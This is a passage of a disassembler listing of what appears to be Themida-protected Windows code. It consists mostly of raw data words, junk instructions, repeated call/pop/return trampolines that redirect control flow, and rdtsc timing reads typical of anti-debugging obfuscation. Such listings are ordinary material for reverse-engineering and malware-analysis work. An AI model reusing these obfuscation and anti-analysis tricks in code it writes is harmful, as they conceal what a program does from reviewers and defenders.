107FA2Bh dd 3AD840Fh, 0BD830000h, 7FA2BD9h, 6A860F03h, 8B000003h dd 0FA179D9Dh, 66FC6007h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 950129C3h, 7FA15E5h dd 0A04E180h, 36840FC9h, 9000001h, 0FA3129B5h, 0E9858B07h dd 307FA0Fh, 0FA14D1BDh, 0E1853307h, 2B07FA15h, 0FA1EA59Dh dd 8A509007h, 6A90FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0F9DB61C3h, 0DE08B43h, 9D09C167h dd 7FA08CDh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0EB7B4EC3h, 8945CEF2h, 0FA02F195h dd 5D9D8907h, 0E807FA0Ah, 4, 1F03FFh, 128C0Fh, 0E8560000h dd 0Ah, 0E63F7C33h, 2F28BCC6h, 5B5F26C8h, 8BD88B50h, 66042444h dd 8BD98Bh, 807EBF66h, 4244489h, 48D0Fh, 0BB660000h, 6A5885D1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 661EC351h, 85899AC1h, 7FA06F1h, 840F56h dd 5F000000h, 20F38166h, 0E995FFD7h, 0F807FA1Ch, 89FEB70Fh dd 0FDEB9685h, 58D2907h, 6607FA2Bh, 0BC2BDB81h, 1BFE9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 813A0F7Eh, 9D29597Eh, 7FA0CDDh, 8E858BFCh dd 6A07FDEBh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0CD68C350h, 0DB960D29h, 1800C7h dd 0B58B0000h, 7FDEB92h, 0BE8h, 0EA8E3900h, 0FEAB0E26h dd 2DDD8611h, 2EE18D89h, 8B5F07FAh, 0FA0D5185h db 7, 6Ah ; --------------------------------------------------------------------------- loc_5D5512: ; CODE XREF: ___:00511300J add [ebx-18h], dl add eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8947E333h, 89D98B06h, 0FA2EAD95h, 0E9858B07h, 0F07FA0Fh dd 68Fh, 880F00h, 89000000h, 8D310446h, 7FA2289h, 0B899D8Bh dd 8B9607FAh, 525050DAh, 8E857h, 0CC410000h, 3E63AA4Ah dd 5B5BB9D3h, 860F310Fh, 0Bh, 5E8h, 9365F200h, 5A5FF4F6h dd 0D3819658h, 0F761980h, 0EB8EB5FFh, 6A07FDh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F59934C3h, 0AC19D8Bh, 0C66807FAh, 0E980F522h, 0Bh dd 1884117h, 0E3D66D72h, 81AEEFF8h, 0E1392404h, 6A7F29h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0E106FBC3h, 2DBD8B2Fh, 8D07FA2Ch, 0FDEB9685h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 3E390603h, 66525050h, 310FF88Bh, 407991BBh, 89585A6Ah dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 67A3BAC3h, 0E995FF07h, 0BB07FA1Ch, 18382BFDh dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 861ED1BDh, 89A6A51Ch, 0FA1829B5h, 0D985C707h dd 307FA2Bh, 0E9000000h, 12h, 3CA8D13Fh, 1C5A47FBh, 119E8439h dd 0EEE8BB26h, 0BD837A4Eh, 7FDEB96h, 0E840F00h, 89000000h dd 0FA11C985h, 1EE907h, 0BF0F0000h, 0C3050FBh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 68C35747h, 67495B50h, 8D8B6053h dd 7FA1575h, 25118D09h, 5F6107FAh, 6AF98B66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 9FFDC356h, 34499D8Bh, 0BD8307FAh, 7FA2BD9h, 0B1850F03h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0C98C351h, 0B589C63Eh, 7FA0B3Dh dd 96BD83F8h, 7FDEBh, 47E840Fh, 0B5FF0000h, 7FDEB96h, 2C959D8Bh dd 95FF07FAh, 7FA2745h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 7AC35242h, 0FF9E2AF4h, 0E876641Eh, 0Bh dd 0A8B9F941h, 0AD554254h, 99E4A08h, 0FA1D09B5h, 0B58B5B07h dd 7FDEB8Ah, 5E960h, 93280000h, 6126A84Bh, 68B0Fh, 0BD890000h dd 7FA2C45h, 106C7h, 8D090001h, 7FA34F9h, 0EAEFCB81h, 0E896322Eh dd 0Ah, 6D30AFE9h, 874EE59Ch, 0BB662EDCh, 505F0AACh, 0F30C6EBFh dd 0BF66961Ah, 0B5FF465Ah, 7FDEB96h, 21A99D8Bh, 95FF07FAh dd 7FA18E1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 78C35747h, 0FBAB3BDh, 683h, 59858900h, 8B07FA2Ah dd 8AB58BFBh, 6A07FDEBh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 3854C356h, 8B81213Dh dd 0FA1C7D85h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 66943000h, 89F678BFh dd 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 9D659CEDh, 0FE9CC51h, 6A000000h dd 15D6F77Bh, 5F14ACF0h, 39C21AF2h, 958BDCB2h, 7FA1CD9h dd 2BDDBD89h, 0C28307FAh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0A52C5003h dd 4688D076h, 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h dd 205089DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 93C35747h, 599D8B92h, 8D07FA27h, 0FDFEF785h, 8B665307h dd 86895BDAh, 0B8h, 6ADE8Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 32C35141h, 0CC7AEBC3h, 0F2358D5h dd 0FD8B70Fh, 681h, 0D1B50100h, 0FF07FA16h, 0FDEB96B5h dd 0EDB52907h, 0FF07FA2Bh, 0FA1C9595h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 5E2C53E2h, 8934CFD2h, 0FA1DED95h, 8E99607h, 0FA000000h dd 1DD30243h, 5050BB6Eh, 3880Fh, 8B660000h, 605696DEh dd 26B5B58Bh, 880F07FAh, 0 ; --------------------------------------------------------------------------- popa pop edi push dword ptr [ebp+7FDEB96h] xor [ebp+7FA2689h], edi call dword ptr [ebp+7FA1D95h] push 0 push eax call sub_5D5A3B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5A3B proc near ; CODE XREF: Themida_:005D5A33p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5D5A3B endp ; --------------------------------------------------------------------------- mov eax, 0EC4A469Dh cmp dword ptr [ebp+7FA0131h], 0 jz loc_5D5B18 push 0 push edi call sub_5D5A68 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5A68 proc near ; CODE XREF: Themida_:005D5A60p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5D5A68 endp ; --------------------------------------------------------------------------- db 90h db 5Eh, 2Eh, 5Eh dd 3147B87Ch, 10E8h, 7367CF00h, 2FBD90Fh, 4F5E135Bh, 0CCFA82B2h dd 178E0F55h, 0E9000000h, 12h, 0BCCE8B11h, 0CC847790h dd 0D53D44BFh, 52E271CFh, 0E95F7C7Dh, 0Ah, 4849D208h, 0A7348F61h dd 8B966126h, 525050F8h, 0BDB86660h, 6159568Ch, 0E960310Fh dd 14h, 95DF8F92h, 0A0D26940h, 0B1D03522h, 6DEA4F06h, 5EA584BEh dd 5A61F38Bh, 6A9658h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0D8200AC3h, 9D2B24B7h, 7FA34A1h ; --------------------------------------------------------------------------- loc_5D5B18: ; CODE XREF: Themida_:005D5A57j push dword ptr [ebp+7FDEB96h] mov ebx, [ebp+7FA0EF1h] call dword ptr [ebp+7FA1CB5h] push 0 push ecx call sub_5D5B35 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5B35 proc near ; CODE XREF: Themida_:005D5B2Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5D5B35 endp ; --------------------------------------------------------------------------- cmp al, [edi] fimul dword ptr [ebx-3A40C967h] lodsd movlps qword ptr [eax-77h], xmm4 xchg eax, ebp std add bh, dl pop es mov esi, ecx popa mov ebx, [ebp+7FA255Dh] push dword ptr [ebp+7FDEB96h] jnz loc_5D5B71 xor bx, 21F3h loc_5D5B71: ; CODE XREF: Themida_:005D5B66j call dword ptr [ebp+7FA21ADh] push 0 push ebp call sub_5D5B82 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5B82 proc near ; CODE XREF: Themida_:005D5B7Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5D5B82 endp ; --------------------------------------------------------------------------- mov ds:0F8B9A9AEh, al jnz short near ptr loc_5D5B9F+1 sub [ebp+7FA31DDh], ecx loc_5D5B9F: ; CODE XREF: Themida_:005D5B97j xor [ebp+7FA1711h], edi cmp dword ptr [ebp+7FA2221h], 2 jz loc_5D5C15 push 0 push esi call sub_5D5BBD and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5BBD proc near ; CODE XREF: Themida_:005D5BB5p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5D5BBD endp ; --------------------------------------------------------------------------- db 0ACh, 47h, 35h dd 0B7E2E1E3h, 8BDF8B3Ah, 0FA161585h, 0BE807h, 82260000h dd 0D008E3E6h, 954A396Ah, 0F381668Dh, 0C65BC1C8h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 461CB9C3h db 0EBh ; --------------------------------------------------------------------------- loc_5D5C15: ; CODE XREF: Themida_:005D5BACj mov dword ptr [ebp+7FA16DDh], 0 add di, 358Bh jmp near ptr dword_5D4EF0+41h ; --------------------------------------------------------------------------- jmp loc_5D5C38 ; --------------------------------------------------------------------------- dw 0EF24h dd 0C92E63DAh, 2374422Dh ; --------------------------------------------------------------------------- loc_5D5C38: ; CODE XREF: Themida_:005D5C29j mov eax, ecx mov bx, ax add bx, 0F802h lea eax, [ebp+7FA0199h] jle $+6 push eax push eax push edx mov bx, 0FC58h rdtsc pusha mov esi, 5A998768h popa pop edx pop eax mov [esp], eax push 0 push esi call sub_5D5C6E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5C6E proc near ; CODE XREF: Themida_:005D5C66p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5D5C6E endp ; --------------------------------------------------------------------------- dw 0D35Fh ; --------------------------------------------------------------------------- enter 0FFFFD0EAh, 1Ch xor [ebp+7FA0205h], ebx push 0 mov bh, 39h mov [ebp+7FA1C79h], ebx push 0 push 0 push eax call sub_5D5CA1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5CA1 proc near ; CODE XREF: Themida_:005D5C99p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5D5CA1 endp ; --------------------------------------------------------------------------- jle short near ptr loc_5D5CC5+3 enter 188Ch, 0B9h mov ecx, 6623CCE8h mov edi, 0BD8BAD67h jns short loc_5D5CE9 cli pop es loc_5D5CC5: ; CODE XREF: Themida_:005D5CB1j lea eax, [ebp+7FF2A3Bh] push 0 push esi call sub_5D5CD6 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5CD6 proc near ; CODE XREF: Themida_:005D5CCEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5D5CD6 endp ; --------------------------------------------------------------------------- dw 384h db 0BDh ; --------------------------------------------------------------------------- loc_5D5CE9: ; CODE XREF: Themida_:005D5CC1j inc ebp sub dl, bh pop es add eax, 5 push 0 push edx call sub_5D5CFB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5CFB proc near ; CODE XREF: Themida_:005D5CF3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5D5CFB endp ; --------------------------------------------------------------------------- db 2 db 0CCh db 7Dh, 6, 83h ; --------------------------------------------------------------------------- xchg ch, bh sub al, 3Ah jmp loc_5D5D21 ; --------------------------------------------------------------------------- db 1Dh, 0DEh, 67h dd 0B03ABC98h db 0B0h ; --------------------------------------------------------------------------- loc_5D5D21: ; CODE XREF: Themida_:005D5D14j nop push eax mov bh, dl nop call sub_5D5D3D or [eax], edi cwde xchg esi, [esi] ficom dword ptr ds:30C8C9E3h[ebx*8] in al, dx mov edi, 25398A4h ; =============== S U B R O U T I N E ======================================= sub_5D5D3D proc near ; CODE XREF: Themida_:005D5D26p mov edi, 5D4BB632h pop edi pusha js loc_5D5D4F xor si, 3D18h loc_5D5D4F: ; CODE XREF: sub_5D5D3D+7j jle loc_5D5D57 push edi pop eax loc_5D5D57: ; CODE XREF: sub_5D5D3D:loc_5D5D4Fj popa push 0 push 0 push ecx call sub_5D5D65 and [ecx-3Dh], bl sub_5D5D3D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D5D65 proc near ; CODE XREF: sub_5D5D3D+20p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5D5D65 endp ; --------------------------------------------------------------------------- db 82h, 8, 0F9h dd 6A4AE2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 97C35141h, 9874E1FDh, 8A761843h, 0E995FFDEh, 8907FA2Bh dd 0FA248995h, 118D8D07h, 6A07FDD7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0A911C353h dd 4687E86Ah, 2BDDBD89h, 0D1FF07FAh, 18E0Fh, 83F80000h dd 0FA33EDBDh, 850F0107h, 8Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 5CC35747h, 373EDF12h, 9C7E7AEDh dd 11E96Ch, 9EBC0000h, 0C6B7EA59h, 92B15B3h, 34F7B93Eh dd 6AC8A42Fh, 505F5102h, 0D93191BBh, 2404895Ch, 82D9D8Bh dd 95FF07FAh, 7FA1C95h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0FEC35040h, 0ABBCB760h, 0B5094BC4h, 7FA01EDh dd 0BE9h, 1E73E800h, 134C6230h, 0A8871A79h, 0CF3E9h, 0E800h dd 815D0000h, 0FF2A45EDh, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 1909CC8Eh dd 6A3E5Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 9D8B1BC3h, 7FA276Dh, 0E1C860BFh, 858DF850h dd 7FDB959h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 1DC35242h, 0DE91846Ah, 5A46ADB3h, 0D6BB5055h, 893C6C9Ch dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0CA6649C3h, 0C2BBF0DAh, 8D89B550h, 7FA276Dh dd 35FF64h, 0E9000000h, 5, 0A63B0350h, 258964E3h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5D5F57 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5F57 proc near ; CODE XREF: Themida_:005D5F4Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5D5F57 endp ; --------------------------------------------------------------------------- xor esi, ebx leave cmp al, bl lahf pop dword ptr [edx+4985FFF5h] adc dl, bh pop es push 0 push edi call sub_5D5F81 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5F81 proc near ; CODE XREF: Themida_:005D5F79p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5D5F81 endp ; --------------------------------------------------------------------------- db 55h, 0FCh, 28h dd 0DA03216Fh, 0E9E7919Fh, 0Ch, 5AC8A335h, 2600347h, 0FA95C02h dd 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 9D8BACC3h, 7FA27DDh, 243DB5FFh, 0BF6607FAh dd 8166CD07h, 0FFC25FE3h, 0FA287595h, 101E907h, 870F0000h dd 4, 6A0CBF66h, 1B700B0h, 0BD8970E6h, 7FA2025h, 0F187BB66h dd 0BD8B71E4h, 7FA338Dh, 830F613Ch, 0D7h, 13E78166h, 2DB589E5h dd 0F07FA2Fh, 0BF0FC8B6h, 68D0FDEh, 9000000h, 0FA17818Dh dd 6BA07h, 8D0F0000h, 13h, 7E8h, 307C1600h, 0AE0522D0h dd 68D9D8Bh, 665B07FAh, 134DCB81h, 0D781C18Bh, 4BDDEFC9h dd 0FC04E8C1h, 8BE2F766h, 0FA14A1BDh, 8BC82B07h, 0FA24259Dh dd 9D18B07h, 0FA2C9D9Dh, 6DE907h, 0BF660000h, 858B1747h dd 47554C50h, 2870Fh, 7B30000h, 0FC07C083h, 8000C083h dd 0D03BC6DBh, 0D830Fh, 81660000h, 0E9AFA6EBh, 3Fh, 8BDBBF0Fh dd 0FFFFFF8Dh, 359D29FFh, 8307FA0Eh, 840F01E1h, 27h, 83DBBF0Fh dd 0FFFFFFA5h, 0C381FEFFh, 0B556C0Ch, 4C509589h, 890F4755h dd 6, 26DD9D8Bh, 0E907FAh, 8D000000h, 0FEA3AFB5h, 998D2907h dd 6A07FA20h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0AD9D893Bh, 8907FA1Dh, 0FA353DB5h dd 1995FF07h, 8B07FA10h, 0FA0EA99Dh, 1024B907h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0DF29AFC3h, 5E9C28Fh, 1B000000h, 9DB97450h, 0FFCE183h dd 0E9FCF8B7h, 0Ch, 0DFAE80D3h, 2878487Ah, 2E11D6DBh, 0B8h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 199D3345h, 2B07FA11h, 53006AD2h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 4B50F8EEh dd 0FC6C7037h, 0D7E38166h, 0C233AD96h, 0D003E8D1h, 7504E983h dd 0B58960F4h, 7FA2E19h, 0D0BF6650h, 8B615E26h, 880DFBh dd 0BD8B0000h, 7FA1065h, 1CD9958Bh, 0DBBF07FAh, 8B51E5F7h dd 0FA31AD8Dh, 8DB58907h, 8B07FA18h, 0FA0FE59Dh, 0C28B5007h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0E958188Bh, 12h dd 898CE7ABh, 77C18D2Bh, 0F8AA31FFh, 0D19653CCh, 6A1FA1h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0C0353C3h, 6DC96EBBh, 29BD83DBh, 7FA2Ah, 58840Fh, 0BD8B0000h dd 7FA0EC9h, 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 22C8FB6Fh, 0EA2E528Dh dd 0DBBF0F46h, 4F668D8Dh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0E1FFD0C3h, 0BD8343B7h dd 7FA2BD9h, 6840F00h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 853CC357h dd 5880F09h, 66000000h, 3068DF81h, 2BD9BD83h, 0F0107FAh dd 3EB84h, 219D2900h, 8307FA20h, 0FA2BD9BDh, 860F0307h dd 3A2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0A9C35343h, 0CB986CEDh, 67BB6660h, 0D98C6681h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B0C35747h dd 0FDBD0195h, 8007FA24h, 6A04E1h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 6937DAC3h, 0DE9EFh, 86860000h dd 9B54FFB4h, 6621085Ah, 803B7952h, 0C90A4EC7h, 162840Fh dd 85010000h, 7FA0F8Dh, 14E8h, 49695900h, 0C9493535h, 1AC8E326h dd 31C79AA0h, 4B8C6902h, 0D950993h, 5B07FA31h, 0FE9858Bh dd 0F5107FAh, 335FF8B7h, 0FA15E185h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 51B589E9h dd 0E807FA05h, 8, 0CFF3992Eh, 8C3492Fh, 11E8h, 0BDA8700h dd 0D709D2C8h, 686A2910h, 5777A9B4h, 5F56D7B0h, 9D8B5B5Bh dd 7FA2E6Dh, 24048950h, 6E8h, 0FA6AD300h, 89CD4CE4h, 0FA01199Dh dd 6A5F07h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0C7C35545h, 680F141Ch, 422D3F6Dh, 11E9h, 9ED71700h dd 0ADC9AE82h, 0C29B5CB4h, 47D48170h, 348172ADh, 323C9224h dd 14E96042h, 6C000000h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh dd 0CAF06344h, 89898A24h, 0FA0D2185h, 95FF6107h, 7FA1CE9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 13C35646h dd 4A33DB73h, 66535BD7h, 5F4DABBBh, 894DDB80h, 0FDEB9685h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 2A04CF22h, 167E90Eh, 0BD890000h, 7FA0CA5h dd 0EB8E858Bh, 8E907FDh, 0A2000000h, 7C883645h, 0C7523922h dd 1800h, 0B58BF800h, 7FDEB92h, 1C11BD8Bh, 0B58907FAh dd 7FA2571h, 0D51858Bh, 858907FAh, 7FA1C0Dh, 0BD890689h dd 7FA2909h, 8BD88B66h, 0FA0FE985h, 359D8B07h, 8907FA2Fh dd 50F50446h, 867BFBBh, 2434896Ch, 142D9D8Bh, 0B5FF07FAh dd 7FDEB8Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 3FC35242h, 705A73E4h, 195DC509h, 0BE9h, 0C0A1B800h dd 0C03D11D7h, 0EA6E8A53h, 207DBD8Bh, 416807FAh, 0E95C5717h dd 9, 0ECBD939Ah, 0CB15D35Ah, 2434818Bh, 5C4814BEh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B5C35646h, 5231F78Ch dd 490872EAh, 6890Fh, 85010000h, 7FA0D2Dh, 18898D31h, 858D07FAh dd 7FDEB96h, 18BF6650h, 8A905B66h, 666050FCh, 8B51CF8Bh dd 906158F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 49C35242h, 0DEBF0F75h, 1CE995FFh, 6A07FAh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 96802BC3h, 0F1D0F570h, 0F52706Fh, 383h, 0F9B70F00h dd 6A615Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 98D404C3h, 0E695FDA3h, 0F78166BCh, 85C71C30h dd 7FA2BD9h, 3, 2F399531h, 0BD8307FAh, 7FDEB96h, 0F840F00h dd 0F9000000h, 24E9h, 65CF8000h, 1851BD8Bh, 305007FAh dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 0F9BD89C0h, 6A07FA16h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0CBA3C353h, 788FF5E9h dd 7BD78189h, 834D462Fh, 0FA2BD9BDh, 850F0307h, 421h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 12C35343h, 547B110Dh dd 0BD8378B7h, 7FDEB96h, 0F2840F00h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0E394C357h, 0FF931DB6h, 0FDEB96B5h dd 6E907h, 0CF4F0000h, 63EC144Bh, 28F0F60h, 60000000h dd 0EDC88061h, 4595FF61h, 6A07FA27h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6633C357h dd 8E79E781h, 8BFBBF0Fh, 0FDEB8AB5h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 3326198Dh dd 11E9FFA7h, 0BC000000h, 141E2FCEh, 5EE902B1h, 1555FA45h dd 93B167FDh, 18D0Fh, 0C7F90000h, 1000106h, 11E900h, 0E04F0000h dd 0D9E698A1h, 9067661Ch, 0D6D68688h, 5096FFE6h, 6E85250h dd 58000000h, 737E5B7Fh, 0F525054h, 5F585A31h, 79B3310Fh dd 3489585Ah, 21BD8B24h, 0FF07FA01h, 0FDEB96B5h, 0A3BB6607h dd 0E195FF5Bh, 8B07FA18h, 0FDEB8AB5h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 44947905h, 0E31FB370h, 8E0F0613h, 6, 74D8D89h, 858B07FAh dd 7FA1C7Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0D8C35242h, 2FCEBCACh, 0B58B601Eh, 7FA0D35h, 16559D8Bh dd 896107FAh, 0C486h, 0F3816600h, 958BA887h, 7FA1CD9h dd 12E9h, 2CE3EA00h, 460BE84Eh, 9FAB5598h, 739390B8h, 8362425Bh dd 0BF0F04C2h, 205089FBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0CDC35040h, 0FC24894h, 0FF21935Eh, 10E8BBh dd 32DC0000h, 0B3D0C713h, 0DB1E4C7Fh, 9582EFBCh, 8D894E95h dd 7FA1851h, 0F7858D5Bh, 3107FDFEh, 0FA1145BDh, 0B8868907h dd 23000000h, 0FA28F1BDh, 66006A07h, 0B589D98Bh, 7FA2EC5h dd 0EB96B5FFh, 14E907FDh, 87000000h, 59330057h, 0E1B1C535h dd 530B03E0h, 0C7652E27h, 0FFC29642h, 0FA1C9595h, 8D8B6007h dd 7FA10D9h, 1499531h, 966107FAh, 10E9h, 0C154BD00h, 383B2DF8h dd 58922E4Ah, 0D6C919E6h, 52505027h, 0AE9h, 1620A800h dd 1177682h, 0FF2F2E7h, 0FE831h, 0B09D0000h, 0D2DECE9Dh dd 87CD064Fh, 19471055h, 5FFE8A78h, 8996585Ah, 0FA345D95h dd 96B5FF07h, 0E907FDEBh, 10h, 0F8E15977h, 0F324B9CDh dd 2BDAA768h, 0B82A8604h, 1D9595FFh, 0BD8307FAh, 7FA0131h dd 2C840F00h, 0E9000000h, 0Dh, 0A0C0F4h, 5D818BE2h, 2367FFFDh dd 0E1BB968Ch, 506127A1h, 68A0Fh, 60600000h, 61F18B61h dd 0F0E78196h, 0FF765A99h, 0FDEB96B5h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 1B19787Fh, 0FB8B6656h, 0FFF88B5Fh, 0FA1CB595h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0DB8A0E97h, 8BCCF348h, 0FA11499Dh, 14E907h, 0B1430000h dd 96F2A397h, 59DFA3B2h, 91E91F39h, 0A38A6689h, 0B5FF2177h dd 7FDEB96h, 0B360D88Ah, 698D8944h, 6107FA27h, 21AD95FFh dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 3C1DE9C3h, 1324D99Eh, 13E971h, 0B0CF0000h dd 189AA37Fh, 0D540D147h, 9CAE3FF4h, 1259767Ch, 21BD833Ah dd 207FA22h, 3F840Fh, 858B0000h, 7FA1615h, 2D51BD8Bh, 0C607FAh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0EE9D306h, 0B3000000h, 